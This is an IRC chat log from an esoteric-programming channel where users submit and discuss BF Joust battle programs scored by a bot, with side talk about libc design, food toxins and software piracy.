22:25:25 <elliott> JUST A BIT
22:25:38 <elliott> ais523_: or maybe lance just disproved symmetry!!!!
22:25:41 <elliott> IT COULD HAPPEN
22:27:10 * quintopia knocks on egobot
22:27:12 <quintopia> you there?
22:27:15 <EgoBot> Score for quintopia_poke: 52.0
22:27:17 <quintopia> hi there
22:28:37 <Gregor> O_O
22:28:46 <ais523_> quintopia: what sort of strategy does that use?
22:28:49 <EgoBot> Score for ais523__simpleskip: 5.3
22:28:53 <Gregor> I KIWW U WIT A SPOON
22:28:59 <Ilari> Animals usually defend against predation using speed, sharp things, camoflage, etc (sometimes also toxins, but those that do tend to be distinctive). Plants use toxins and antinutrients.
22:29:28 <quintopia> ais523_: exactly what it says. it pokes the opponent before building decoys. i could probably make it even better by having it build even more decoys.
22:29:43 <ais523_> oh wow, that's ingenious
22:29:58 <ais523_> it's obvious what it's doing looking at a debug trace
22:30:29 <Ilari> Of course, there's also resistance to toxins, not having the mechanisms those toxins affect and enzymes that can break down antinutrients.
22:30:51 <elliott> pokes how
22:31:22 <ais523_> elliott: it starts off by seeing where the opponent is on the tape
22:31:23 <pikhq> Ilari: And humans just figure out how to deactivate it.
22:31:27 <ais523_> then runs back over to its side and builds decoys
22:31:32 <elliott> what's a good opponent to show it against in a debugger
22:31:34 <ais523_> then it goes back to where it saw the opponent was
22:31:35 <pikhq> (see: half of food preperation)
22:31:40 <ais523_> try defend10
22:31:59 <ais523_> that doesn't show off any of the advantages of poke, but does show off the strategy well
22:32:12 <Gregor> Ohhhhhhhhhhhhhhhhhhhhhhh
22:32:22 <Gregor> I'm seein' it.
22:32:23 <Gregor> quintopia: Clever.
22:32:31 <ais523_> I am really impressed at that
22:32:36 <quintopia> the strategy can never be used to beat speedy2 though, because they always just cross
22:33:20 <Ilari> Some of those toxins/antinutrients are heat-unstable. But some are heat-stable (which makes them much nastier to deactivate).
22:34:06 <Gregor> Damn, decoys are almost totally useless in the face of poke.
22:34:27 <pikhq> Ilari: Mmmm, fermentation.
22:34:29 <Ilari> Oh, and grains have quite good complement of heat-stable ones.
22:34:35 <Ilari> Yeah, that's one way.
22:34:47 <ais523_> yep, this gives a large argument for /not/ trailing
22:34:48 <Ilari> Also soaking and sprouting.
22:35:12 <Gregor> ais523_: But only against poke :P
22:35:25 <Gregor> I think quintopia has officially introduced a unique strategy, not yet seen before.
22:35:29 <ais523_> I think poke automatically loses to any aggressive program that doesn't set decoys
22:35:36 <ais523_> because it'll be crossed and not have chance to set up again
22:35:40 <ais523_> Gregor: so do I
22:35:47 <ais523_> well, it's a variation on large-decoy-based rushing
22:35:53 <ais523_> but a really interesting one
22:36:04 <Gregor> ais523_: Yeah, >(>)*9([-]>)*21 beats poke.
22:36:19 <Gregor> ais523_: I'm referring purely to the "poke" part, not what it does after poking.
22:36:19 <elliott> What BF Joust needs is a way to tell whether the current cell is > or < 128 :P
22:36:28 <ais523_> that'd make things too easy
22:36:48 <elliott> ais523_: I know :P
22:37:13 <elliott> ais523_: But maybe a "closer to 0" instruction would be nice? I dunno.
22:37:29 <ais523_> I think poke beats most slow-rush programs; and loses to pretty much all fast-rush programs
22:37:38 <ais523_> but fast-rush programs are a rare breed nowadays because they tend to lose hard to slow-rush programs
22:37:46 <ais523_> unless they screw around with dodging tripwires
22:37:57 <Ilari> Oh, and with some of those, there's no way to deactivate them, rendering the whole thing unedible (or requiring finding something to compensate the effects with).
22:39:24 <ais523_> double_tripwire_avoider really decimates poke in all sorts of ways, btw
22:39:38 <ais523_> even though it both decoys and trails
22:40:02 <zzo38> The GFtype program in MiKTeX appears broken
22:40:11 <ais523_> actually, a bit less than decimates, it doesn't make up 1/10 of the hill
22:42:13 <elliott> back 6
22:42:14 <Gregor> If not a history of BF Joust, somebody should write a wiki page detailing the various BF Joust strategies.
22:44:12 <quintopia> i modified it slightly and now it draws with speedy2 on all large tape sizes. interest.
22:44:29 <quintopia> for one polarity anyway
22:45:15 <elliott> ais523_: something a bit disturbing about bf joust
22:45:18 <elliott> you can effectively break out of a loop
22:45:35 <quintopia> hmm?
22:45:44 <elliott> [foo ...condition...[thing i want to do after breaking out(.)*-1]...]
22:46:51 <quintopia> ...on both polarities :P
22:46:58 -!- ais523_ has quit (Ping timeout: 245 seconds).
22:47:04 <elliott> quintopia: ?
22:47:19 <Gregor> Look at philip. Effectively breaks out of the loop by starting the loop again within the loop.
22:47:27 <elliott> yeah
22:47:47 <quintopia> that's pretty much how bf works, yeah
22:48:17 <elliott> !bfjoust ethernet http://sprunge.us/fMFW
22:48:26 <elliott> on longer tape lengths on both polarities this either draws with or beats wireless
22:48:41 <elliott> seems like it does terribly against anything else, though :)
22:48:42 <EgoBot> Score for elliott_ethernet: 0.0
22:48:46 <elliott> what?
22:48:46 <Gregor> lol
22:48:54 <elliott> no, really, what?
22:48:56 <elliott> Gregor: egojsout has a bug
22:49:09 <elliott> Gregor: run the program in http://sprunge.us/fMFW against wireless
22:49:14 <elliott> note how it draws or wins on higher tape lengths
22:49:19 <elliott> note that this doesn't happen with egojoust
22:49:22 <elliott> is *0 broken in egojoust?
22:49:23 <elliott> or?
22:49:46 <Gregor> It's possible that *0 has nonsense behavior on egojoust.
22:50:01 <elliott> btw i think that strategy is quite unique
22:50:04 <elliott> it's sort of like poke except stupid
22:50:26 <elliott> !bfjoust ethernet (>)*8+(>[<[(+)*80<]((-)*80<)*7(-)*127(-+)*-1]+)*-1
22:50:46 <EgoBot> Score for elliott_ethernet: 0.0
22:50:50 <Gregor> Where's lance? X-P
22:50:57 <elliott> Gregor: egojoust is totally broken.
22:51:03 <elliott> Gregor: Oh wait.
22:51:10 <elliott> Gregor: egojoust is broken because it caps repeats to 10K, not 100K.
22:51:18 <Gregor> ahlawl
22:51:26 <Gregor> Where's lance? X-P
22:51:28 <elliott> !bfjoust ethernet ((>)*8+(>[<[(+)*80<]((-)*80<)*7(-)*127((-+)*-1)*-1]+)*-1)*-1
22:51:36 <elliott> Gregor: Broken for some unknown reason, I'll fix it after playing a bit :P
22:51:49 <elliott> I think egojoust segfaulted or something.
22:52:27 <Gregor> Where's my CO2 >: (
22:53:52 <quintopia> okay, no it kicks speedy2's ass. let's find out if it still beats other things...
22:54:10 -!- Mathnerd314 has joined.
22:54:17 <elliott> quintopia: I beat your fucking #1 program and egojoust is withholding my victory
22:54:19 <elliott> Bitch
22:54:40 <quintopia> !bfjoust poke http://sprunge.us/eFgA
22:54:54 <elliott> You might be waiting a long while.
22:54:55 * quintopia waits to see the result before vamoosing
22:55:01 <quintopia> damn
22:55:06 * quintopia just goes then
22:59:10 <Sgeo> A program specifically designed to beat only the strongest program wouldn't score well, would it?
22:59:56 <Deewiant> Not unless it happens to beat a lot of other stuff too
23:06:49 <elliott> It would score okay
23:06:58 <elliott> Especially if it tied or beat one or two others.
23:08:14 <Sgeo> I can never remember the URL
23:08:19 <elliott> !bfjoust
23:08:21 <elliott> See above
23:08:34 <EgoBot> Use: !bfjoust <program name> <program> . Scoreboard, programs, and a description of score calculation are at http://codu.org/eso/bfjoust/
23:10:35 <Sgeo> Would help if I understood what these programs were doing
23:10:56 <elliott> Sgeo: use egojsout
23:10:59 <elliott> easy to see any behaviour
23:13:19 <Sgeo> !bfjoust lame (>)*10(-)*127
23:14:00 <Sgeo> Slow
23:14:44 <elliott> Sgeo: What.
23:14:57 <elliott> Sgeo: That works for 11-length tapes, and the program has to decrement its flag by one first.
23:15:01 <elliott> You mean *128, for a start.
23:15:05 <elliott> *11-length tapes only,
23:15:45 <Gregor> http://esolangs.org/wiki/BF_Joust_strategies <-- please expand, particularly with defensive strategies.
23:15:46 <Gregor> I didn't even mention tripwire, for instance.
23:15:57 <elliott> Gregor: that really belongs as part of the BF Joust article...
23:15:57 <Sgeo> So, except for the 127 thing, it should win occasionally
23:16:02 <elliott> Sgeo: *never
23:16:07 <elliott> Nothing is stupid enough to let that work.
23:16:19 <elliott> Sgeo: And since you will lose on any non-11 tape length, you'll lose all your matchups.
23:16:25 <quintopia> wow
23:16:39 <quintopia> it still hasn't finished
23:16:46 <elliott> Gregor: Also, "BrainFuck" has two extraneous capital letters.
23:16:49 <Sgeo> Oh, so ulimately there's one result for each a vs b?
23:16:56 <Gregor> elliott: Well, then import it first :P
23:16:58 <elliott> Sgeo: Yes.
23:17:00 <elliott> <elliott> Gregor: Also, "BrainFuck" has two extraneous capital letters.
23:17:07 <elliott> Gregor: How can you even commit such a crime of capitalisation.
23:17:08 <Sgeo> What happens if they tie?
23:17:10 <elliott> *crime of orthography.
23:17:13 <Gregor> It hasn't finished because it'll tie in 100K cycles all the time.
23:17:56 <elliott> And because we're not using Lance(TM), the Fastmaker.
23:18:03 <Gregor> elliott: Then fix that AND import it into BF_Joust :P
23:18:05 <quintopia> anyway the new one will probably suck
23:18:16 <elliott> Gregor: Rather than working on lance??
23:18:27 <Gregor> elliott: AND WHY'S THAT
23:18:31 <Sgeo> 100K cycles?
23:18:36 <quintopia> anyway the new one will probably suck
23:18:36 <elliott> Sgeo: The limit.
23:18:40 <elliott> Gregor: And why's what
23:18:40 <quintopia> whoa
23:18:41 <elliott> quintopia: ?
23:18:43 <quintopia> weird
23:18:49 <quintopia> sorry
23:18:54 <Gregor> elliott: Why is it that we're not using lance :P
23:18:55 <Sgeo> Awesome, we can DDoS EgoBot
23:18:56 <quintopia> i'm running out of Gs
23:19:02 <quintopia> i started at 3G
23:19:08 <quintopia> and now it's laG
23:19:12 <Sgeo> Hmm, what should cause the most ties?
23:19:21 <Gregor> Sgeo: Not very effectively.
23:19:27 <elliott> !bfjoust tie_the_knot ((+)*-1)*-1
23:19:31 <elliott> Gregor: Because you want me to edit wiki pages instead!
23:19:36 <elliott> !bfjoust
23:19:52 <elliott> Cool, codu.org went down.
23:19:59 <Gregor> A) The first 'D' is a lie
23:20:04 <EgoBot> Use: !bfjoust <program name> <program> . Scoreboard, programs, and a description of score calculation are at http://codu.org/eso/bfjoust/
23:20:05 <Gregor> B) It doesn't disable any other services
23:20:05 <Gregor> C) You can't even get it running two at once
23:20:15 <elliott> <Gregor> A) The first 'D' is a lie
23:20:17 <elliott> What?
23:20:23 <Gregor> "Distributed"
23:20:37 <elliott> I must be TEH LAGGING
23:20:50 <Sgeo> codu was slow before
23:20:58 <elliott> !bfjoust dos ((()*-1)*-1)*-1
23:20:59 <elliott> OH
23:21:00 <elliott> I WENT THERE
23:21:13 <Sgeo> What does *-1 do?
23:21:17 <elliott> *10K
23:21:58 <Sgeo> Surely (()*-1)*10 does the same?
23:22:07 <elliott> 10,000, not 10K
23:23:16 -!- MigoMipo has quit (Read error: Connection reset by peer).
23:23:27 <elliott> Gregor: Wow, it's actually running it.
23:23:46 <elliott> !bfjoust dos ((([)*-1)*-1)*-1
23:24:59 <Sgeo> Good question: Why did I type DDoS?
23:26:20 <Vorpal> <pikhq> This has apparently lead to a 23,000% increase in DVD sales for them. <--- *wow*
23:27:58 <Sgeo> Vorpal, what?
23:30:23 <Vorpal> Sgeo, see log
23:31:44 <elliott> And piracy contributes to sales too! Zomg it's unbeliebable, the RIAAAA says it ain't so!!!
23:32:05 <Sgeo> Depends on the piracy and pirated program, really
23:32:09 <elliott> What?
23:33:24 <Sgeo> Pirated single-player games might not encourage conversion to sales the way, say, Minecraft does
23:33:24 -!- myndzi has quit (Read error: Connection reset by peer).
23:33:24 <Sgeo> Of course, this is only a guess. I'd like to see actual studies
23:33:36 <elliott> That sentence was incoherent.
23:33:42 -!- myndzi has joined.
23:34:33 <Sgeo> Pirated copies of Minecraft necessarily do not have all features that the full version does (with regards to going online). Single player games don't have that advantage.
23:34:40 <elliott> Sgeo: What do you mean? The majority of Minecraft play is single-player.
23:34:43 <elliott> Also, that's quite irrelevant.
23:34:57 <elliott> There are many reports of Minecraft pirates whining about not being able to play multiplayer, but not buying the game.
23:35:12 <elliott> And similarly there are many people who buy the game after only playing it pirated in single-player without the desire for SMP.
23:35:23 <elliott> Sgeo: Also, WTF made you think I was referring to games only?
23:35:32 <Sgeo> But are there pirates who bought the game specifically for SMP?
23:36:23 <elliott> Possibly. But I see no indication that Minecraft's sales from piracy would be any worse if multiplayer was free for anyone.
23:36:41 -!- EgoBot has quit (Ping timeout: 240 seconds).
23:36:50 <elliott> I haven't heard much "I bought it to play on SMP" at all; I've heard a lot of "my annoying friend keeps whining that he can't play SMP with his pirated copy, and won't pay for it" and "I bought it after 3 SECONDS of playing singleplayer! SO AMAZING~~"
23:37:02 -!- FireFly has quit (Quit: swatted to death).
23:44:13 -!- Zuu has quit (Quit: Reconnecting).
23:44:17 -!- Zuu has joined.
23:58:15 -!- Zuu has quit (Read error: Connection reset by peer).
23:59:39 <elliott> Hey Gregor
23:59:47 <elliott> It's cool if lance has weird random bugs right?
23:59:51 <elliott> You'll TOTALLY STILL USE IT?
23:59:53 <elliott> (fixing sounds hard)
2011-02-13
00:01:27 -!- Zuu has joined.
00:01:36 -!- HackEgo has quit (Ping timeout: 240 seconds).
00:02:12 -!- GregorLOL has joined.
00:02:24 <GregorLOL> Codu killed itself :P
00:02:40 -!- Gregor has quit (Ping timeout: 272 seconds).
00:03:52 <elliott> GregorLOL: wat
00:04:00 <elliott> I blame <elliott> !bfjoust dos ((([)*-1)*-1)*-1
00:04:35 <GregorLOL> Maybe :P
00:05:18 -!- Guest56466 has joined.
00:05:30 <Guest56466> why hallo thar
00:08:07 -!- Guest56466 has changed nick to Gregor.
00:09:52 -!- cheater- has joined.
00:12:23 <Sgeo> elliott, what random bugs?
00:12:27 <Sgeo> Maybe I can help?
00:12:27 -!- cheater00 has quit (Ping timeout: 240 seconds).
00:12:40 <elliott> C code ain't doin' what it should do and I have no idea why.
00:12:49 -!- GregorLOL has quit (Quit: GregorLOL).
00:12:58 <elliott> Works for small examples, doesn't for substantial ones .
00:14:44 <Sgeo> Are you going to give anyone a chance to look at the code?
00:14:56 <Sgeo> Put it on bitbucket and use Hg, or put it on github and use git!
00:14:59 <zzo38> I have read a report from some music company that they don't really have problem if you copy pirated music files. But if you like CDs, buy it directly from them. If you do not like CDs, purchase the files directly from them. You can also donate any amount of money. If you buy CDs from the store, they are nonbiodegradable. If you buy their files from iTunes, the artists won't earn any money from it at all.
00:15:25 * Sgeo hits elliott with a Perfect Solution fallacy
00:15:38 <zzo38> Sgeo: There is also repo.or.cz for git, as well..... and also sprunge in case you just want to post one file
00:15:49 -!- HackEgo has joined.
00:15:50 <Sgeo> Shhh, don't remind elliott of sprunge
00:15:50 -!- EgoBot has joined.
00:15:50 <elliott> Sgeo: What?
00:15:58 <Gregor> !bfjoust lolwut <
00:16:04 <Sgeo> elliott, your reason for not using Version Control scks
00:16:06 <Sgeo> sucks too
00:16:23 <elliott> Sgeo: I don't _like_ version control for the start of projects.
00:16:25 <elliott> I am hardly alone in this.
00:16:30 <elliott> Besides, you're one to talk, you never even code.
00:17:15 <zzo38> Sgeo: Why not sprunge? Is there anything wrong with it?
00:17:32 <Sgeo> zzo38, it would mean elliott not using version control
00:17:48 <elliott> Sgeo thinks that everyone has to use version control to code right from the start of a project despite the fact that that's nonsense.
00:19:17 <zzo38> But sprunge is not version control anyways. You don't substitute it. If you use version control you use it.
00:19:52 <Sgeo> But I wanted there to be an excuse for elliott to post on a version control site
00:23:27 <Gregor> !bfjoust lolwut <
00:25:00 <pikhq> elliott: http://www.etalabs.net/musl/ Kitten should use.
00:25:18 <elliott> pikhq: Where did you find this?
00:25:38 <pikhq> elliott: Proggit.
00:25:48 <elliott> pikhq:
00:25:48 <elliott> Linux 2.6 or later.
00:25:49 <elliott> i386 family (32-bit x86) machine (support for others coming soon).
00:25:50 <elliott> Sorry.
00:25:51 <elliott> Can't use.
00:26:01 <pikhq> elliott: Can't use *currently*.
00:26:14 <elliott> Wow, it compiles gcc 3.
00:26:22 <elliott> pikhq: Well... I could always start with x86 and move to x86-64 later.
00:26:45 <pikhq> Even as-is, it seems to at *least* be dietlibc-but-better-in-most-every-way.
00:27:13 <elliott> pikhq: Well... its goals seem a little warped:
00:27:15 <elliott> [[Then in early 2010, I got an idea for a new direction. I could make some minor changes to my types to align them with the glibc definitions, and reimplement stdio FILE so that key pointer elements which might be accessed from glibc getc/putc macros would retain their offsets in the structure and their semantics. With these changes, it wouldn't be very far-fetched to expect that I could get many binaries compiled against glibc to dynamically lin
00:27:15 <elliott> k and run against my implementation.]]
00:27:49 <elliott> pikhq: I am tempted to have a go at writing my own libc now, though.
00:27:59 <elliott> pikhq: Heh, from the same guy: "uuterm - a tiny multilingual Unicode terminal emulator for X or Linux fbcon"
00:29:36 <pikhq> elliott: Keep in mind that it's only slightly larger than dietlibc right now. Yet significantly more useful.
00:29:58 <elliott> pikhq: Sure. I don't see how it is significantly more useful, though.
00:30:02 <elliott> dietlibc has quite good compatibility.
00:30:06 <elliott> But if it has locale support that's good.
00:30:47 <elliott> "All of these figures were obtained using my libc-bench suite, in UTF-8 locales, on one particular Intel Atom N280-based machine."
00:30:49 <elliott> Atom. "Nice."
00:31:08 <pikhq> musl only supports a "C.UTF-8" locale, but has a reasonably good iconv implementation.
00:31:25 <pikhq> It has pthreads.
00:31:28 <elliott> pikhq: Hmm. I am now tempted to write my own libc /with proper locale support/.
00:31:46 <elliott> dietlibc's pthreads are listed as "broken" on the musl page which is rather vague.
00:32:16 <pikhq> "Straight-up doesn't work" from my experience.
00:32:29 <elliott> pikhq: Then there's only one solution.
00:32:47 <elliott> pikhq: cshore! Or some other hilariously-punny name for a libc.
00:33:00 <pikhq> He's intending to add a bit more locale support in the future.
00:33:09 <elliott> NOT AS MUCH LOCALE SUPPORT AS ME
00:33:20 <pikhq> No non-Unicode locales, though.
00:34:34 <EgoBot> Score for Gregor_lolwut: 0.0
00:34:35 <EgoBot> Score for Gregor_lolwut: 0.0
00:35:10 <elliott> pikhq: FIRST HURDLE: POSIX has no libc-indexed-by-headers page. Rage.
00:36:33 <pikhq> elliott: Anyways, it appears that its performance in implemented features is comparable to libc, but the code size is similar to dietlibc, while implementing more.
00:37:10 <pikhq> And, of course, it's not GPL 2, making it much less of a pain for a system libc.
00:37:29 <elliott> pikhq: It's tempting.
00:38:22 <elliott> pikhq: What I really want is an stdio that doesn't do Stupid Shit.
00:38:39 <pikhq> How so?
00:38:49 <elliott> pikhq: All the existing stdios have ridiculous overhead.
00:39:00 <elliott> It'd be nice to have one that's a simple buffered wrapper over read()/write().
00:39:30 <Sgeo> !bfjoust stolenstrategy (>)*8+<(+)*50<(+)*128<<(+)*128
00:39:50 <EgoBot> Score for Sgeo_stolenstrategy: 0.0
00:40:00 <Sgeo> aww
00:40:25 <pikhq> elliott: I'm looking at musl's libc.
00:40:37 <Sgeo> Why didn't it work against even the dumb ones?
00:40:44 <Sgeo> !bfjoust nop .
00:40:48 <pikhq> elliott: Erm, stdio.
00:40:54 <elliott> Sgeo: Because it never attacks.
00:40:58 <pikhq> elliott: Guess what its stdio is?
00:40:58 <elliott> And there are _no_ dumb ones on the hill.
00:41:07 <elliott> pikhq: Worse than seashore's?
00:41:20 <pikhq> elliott: A simple buffered wrapper over read()/write().
00:41:28 <elliott> pikhq: But hath it unicorns?
00:41:29 <EgoBot> Score for Sgeo_nop: 5.7
00:41:51 <Sgeo> elliott, then explain nop's success
00:41:59 <elliott> Sgeo: Defence programs.
00:42:05 <elliott> Other strange strategies.
00:42:11 <elliott> They're not dumb, they just don't target idiotic programs.
00:42:17 <elliott> See breakdown.txt.
00:42:27 <Sgeo> !bfjoust
00:42:30 <elliott> pikhq: Hmm, doesn't the kernel have a FILE-like structure?
00:42:30 <EgoBot> Use: !bfjoust <program name> <program> . Scoreboard, programs, and a description of score calculation are at http://codu.org/eso/bfjoust/
00:42:43 -!- BeholdMyGlory has quit (Remote host closed the connection).
00:42:55 <pikhq> elliott: Probably?
00:43:23 <elliott> pikhq: Well, in general it's nicer to export kernel structures than for the libc to define its own, which is why I ask.
00:43:34 <Sgeo> I dn't know what > and < represent
00:43:47 <pikhq> elliott: I doubt it's quite a drop-in replacement, though.
00:44:02 <elliott> Sgeo: > goes closer to opponent, < backwards.
00:44:05 <elliott> *< further away.
00:44:11 <elliott> pikhq: I don't see why not; FILE is opaque.
00:44:18 <Sgeo> elliott, I meant in breakdown
00:44:36 <pikhq> As most of the state in FILE is the userspace buffer...
00:45:35 -!- yiyus has quit (Ping timeout: 240 seconds).
00:47:19 * pikhq kinda wonders why FILE usually has some function pointers in it... Does a stdio actually end up using more than one function in there?
00:47:48 <elliott> pikhq: Heh, pluggable FILEs.
00:48:01 <elliott> "This FILE contains all Fibonacci numbers in decimal, separated by newlines."
00:48:25 <pikhq> Really, if you're going to have that infrastructure in place you might as well expose it.
00:48:27 -!- yiyus has joined.
00:49:11 <pikhq> Aaaah, fmemopen. That at least explains it.
00:49:56 <pikhq> fmemopen, a recent POSIX addition, creates a FILE that accesses a region of memory.
00:50:09 <elliott> pikhq: That's stupid.
00:50:12 <elliott> Nobody needs to support that.
00:50:20 <pikhq> Also, glibc extension.
00:50:21 <elliott> # define TMP_MAX 238328
00:50:21 <elliott> # define FILENAME_MAX 4096
00:50:22 <elliott> glibc: pulling constants out of our ass since ???
00:50:23 <pikhq> (fucking glibc)
00:50:30 <elliott> *limits out of
00:51:52 <pikhq> elliott: I'm not entirely sure there's a reasonable value for either constant.
00:52:16 <Sgeo> !bfjoust win_some_suicide_some (>)*9([-]>)*10
00:52:25 <EgoBot> Score for Sgeo_win_some_suicide_some: 5.9
00:52:35 <elliott> Sgeo: uhh
00:52:38 <elliott> the tape goes up to length 30.
00:52:42 <pikhq> I at least suspect on Linux you could have a filesystem with a filename limit of the entire address space.
00:53:01 <elliott> pikhq: There is.
00:53:02 <Sgeo> If I do 20 attacks, I'll die 19 of them
00:53:11 <elliott> pikhq: The maximum value of a pointer, minus one.
00:53:19 <elliott> pikhq: You could allocate address 1 to the maximum address to store a filename in.
00:53:30 <Sgeo> Wait
00:53:44 <pikhq> elliott: Smart-ass. :P
00:54:39 <Sgeo> !bfjoust win_some_suicide_more (>)*9([-]>)*20
00:54:55 <EgoBot> Score for Sgeo_win_some_suicide_more: 8.0
00:55:21 <elliott> !bfjoust shit_house (>)*11([(-)*128[-]]>)*18
00:55:28 <EgoBot> Score for elliott_shit_house: 12.8
00:55:51 <Sgeo> I guess (-)*128[-] is a more efficient clear most of the time?
00:56:35 <elliott> Sgeo: (-)*128(-.)*-1 -- but only if the cell is actually a flag.
00:56:39 <elliott> Otherwise even with yours you waste 129 flags.
00:58:38 <Sgeo> !bfjoust win_some_suicide_some_elliott_is_clearheaded (>)*9((-)*128(-.)>)*10
00:58:40 <Sgeo> Crud
00:58:43 <Sgeo> That -1 is bad there
00:58:48 <EgoBot> Score for Sgeo_win_some_suicide_some_elliott_is_clearheaded: 0.0
00:58:49 <Sgeo> Realized as I was typing
01:01:50 <elliott> !bfjoust rags (-)*128[(-)*127[(-)*126[(-)*125[(-)*124[(-)*123[(-)*122[(-)*121[(-)*120[(-)*119[(-)*118[(-)*117[(-)*116[(-)*115[(-)*114[(-)*113[(-)*112[(-)*111[(-)*110[(-)*109[(-)*108[(-)*107[(-)*106[(-)*105[(-)*104[(-)*103[(-)*102[(-)*101[(-)*100[(-)*99[(-)*98[(-)*97[(-)*96[(-)*95[(-)*94[(-)*93[(-)*92[(-)*91[(-)*90[(-)*89[(-)*88[(-)*87[(-)*86[(-)*85[(-)*84[(-)*83[(-)*82[(-)*81[(-)*80[(-)*79[(-)*78[(-)*77[(-)*76[(-)*75[(-)*74[(-)*73[(-)*72[(-)*71[(
01:01:51 <elliott> -)*70[(-)*69[(-)*68[(-)*67[(-)*66[(-)*65[(-)*64[(-)*63[(-)*62[(-)*61[(-)*60[(-)*59[(-)*58[(-)*57[(-)*56[(-)*55[(-)*54[(-)*53[(-)*52[(-)*51[(-)*50[(-)*49[(-)*48[(-)*47[(-)*46[(-)*45[(-)*44[(-)*43[(-)*42[(-)*41[(-)*40[(-)*39[(-)*38[(-)*37[(-)*36[(-)*35[(-)*34[(-)*33[(-)*32[(-)*31[(-)*30[(-)*29[(-)*28[(-)*27[(-)*26[(-)*25[(-)*24[(-)*23[(-)*22[(-)*21[(-)*20[(-)*19[(-)*18[(-)*17[(-)*16[(-)*15[(-)*14[(-)*13[(-)*12[(-)*11[(-)*10[(-)*9[(-)*8[(-)*7[(-)*6[
01:01:51 <elliott> (-)*5[(-)*4[(-)*3[(-)*2[-]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]
01:01:55 <elliott> Oh dear.
01:01:57 <elliott> !bfjoust rags <
01:01:57 <EgoBot> Score for elliott_rags: 0.0
01:02:12 <EgoBot> Score for elliott_rags: 0.0
01:02:20 <elliott> !bfjoust rags http://sprunge.us/dIhb
01:02:36 <copumpkin> !bfjoust [+]
01:02:37 <EgoBot> Use: !bfjoust <program name> <program> . Scoreboard, programs, and a description of score calculation are at http://codu.org/eso/bfjoust/
01:02:38 <EgoBot> Score for elliott_rags: 0.4
01:02:42 <copumpkin> !bfjoust shit [+]
01:02:42 <elliott> copumpkin: you forgot the program name
01:02:54 <Sgeo> copumpkin, it will win
01:02:56 <EgoBot> Score for copumpkin_shit: 20.4
01:02:59 <Gregor> !bfjoust diabetic_philip http://sprunge.us/QfTT
01:03:02 <Gregor> WTFWTFWTF
01:03:04 <Sgeo> ...wasnt expecting that big
01:03:10 <EgoBot> Score for Gregor_diabetic_philip: 22.0
01:03:20 <Gregor> Oh, that's still last place for copumpkin_shit :P
01:03:27 <copumpkin> ?
01:03:34 <Gregor> 20.4 points is still last place.
01:03:48 <copumpkin> :(
01:03:53 <copumpkin> elliott: got 0.4
01:04:06 <elliott> lmao
01:04:13 <elliott> almost as good as diabetic philip
01:04:17 <elliott> Gregor: % is broken
01:04:19 <elliott> you moronizer
01:04:22 <elliott> with a z
01:04:31 <elliott> !bfjoust riches http://sprunge.us/XiKW
01:04:39 <EgoBot> Score for elliott_riches: 14.1
01:04:39 <Gregor> elliott: In egojoust it is, yes.
01:04:46 <elliott> Gregor: Which is what you submitted it to.
01:04:49 <Gregor> elliott: WHERE'S LANCE
01:05:00 <elliott> Gregor: NOT BEING DEBUGGED BY YOU
01:05:01 <Gregor> elliott: It's not that broken.
01:05:07 <Gregor> elliott: Only nested ({}) are broken.
01:05:29 <Gregor> elliott: You realize that program is lead_acetate_philip minus the decoys, right?
01:05:41 <elliott> Mr. "lead acetate gregg"
01:06:18 <Sgeo> !bfjoust survive ([]+)*-1
01:06:31 <elliott> Gregor: Gimme two ()*-but-not-{}-or-unbalanced-[]-in-()-using bots where you know one totally thrashes the other.
01:06:37 <elliott> (But not supertrivial ones plz)
01:06:59 <EgoBot> Score for Sgeo_survive: 5.6
01:07:16 <Sgeo> !bfjoust survive2 ([-]+)*-1
01:07:20 <Gregor> elliott: Off the top of my head, Idonno :P
01:07:26 <EgoBot> Score for Sgeo_survive2: 21.8
01:07:30 <elliott> Gregor: You want lance, you cooperate.
01:07:31 <Sgeo> Woohoo!
01:07:35 <elliott> Sgeo: [-]x -- x never executes
01:07:37 <elliott> due to loop semantics
01:07:47 <Sgeo> !bfjoust survive3 ([+]+)*-1
01:07:49 <Sgeo> Hmm?
01:07:57 <Sgeo> elliott, even during attack?
01:08:07 <elliott> -]-]-]-IT BECOMES ZERO]IT DIES
01:08:09 <Gregor> What the hell did mapping_turtle ever beat to get #1 X-D
01:08:31 <elliott> !bfjoust penile_wiggling (-)*127(--++)*-1
01:08:36 <EgoBot> Score for Sgeo_survive3: 19.8
01:08:39 <elliott> (I name all my terrible programs crude things.)
01:08:44 <EgoBot> Score for elliott_penile_wiggling: 9.2
01:08:44 <elliott> Gregor: wat
01:08:49 <elliott> Gregor: It was vibration until recently.
01:08:53 <Gregor> elliott: I was trying to find such a match :P
01:09:01 <Gregor> elliott: To answer your request.
01:09:20 <elliott> Gregor: Not from the current hill.
01:09:25 <elliott> Those programs are waaaay too complex to help me debug.
01:09:45 <Gregor> elliott: Oh. Well then screw youse :P
01:09:45 <Sgeo> elliott, I win supremely against willging peniles
01:09:55 <elliott> Willging peniles.
01:10:13 <Gregor> Sgeo: NOT ACCORDING TO FACEBOOK
01:10:27 <elliott> !bfjoust penile_wiggling (-)*127(--++)*-1(>)*9((-)*128[-]>)*20
01:10:33 <EgoBot> Score for elliott_penile_wiggling: 9.2
01:10:40 <elliott> !bfjoust penile_wiggling (-)*127(--++)*3000(>)*9((-)*128[-]>)*20
01:11:20 <EgoBot> Score for elliott_penile_wiggling: 19.6
01:11:23 <elliott> Impressive.
01:11:54 * Sgeo feels no desire to be impressed by willging anything, despite what Facebook says
01:12:14 <elliott> Sgeo just can't admit his secret desire to wiggle penises all day and night.
01:12:24 <elliott> !bfjoust faster_penile_wiggling (-)*127(--++)*2500(+)*127(>)*9((-)*128>)*20
01:12:30 <EgoBot> Score for elliott_faster_penile_wiggling: 19.3
01:12:33 <Sgeo> elliott is secretly Facebook
01:12:38 <Sgeo> Ok, this joke is getting boring now
01:12:42 <elliott> FASTER PENILE WIGGLING: Actually not as good as slow penile wiggling.
01:20:40 <Gregor> !bfjoust saccharine_philip http://sprunge.us/cAZS
01:20:46 <EgoBot> Score for Gregor_saccharine_philip: 21.3
01:20:58 <Gregor> >_>
01:21:12 <Gregor> Yuh oh, different results from egojsout ...
01:22:09 <Gregor> Nowait
01:22:11 <Gregor> I screwed it up :P
01:23:42 <Gregor> !bfjoust saccharine_philip http://sprunge.us/NcBC
01:23:54 <EgoBot> Score for Gregor_saccharine_philip: 28.1
01:24:38 <Gregor> !bfjoust saccharine_philip <
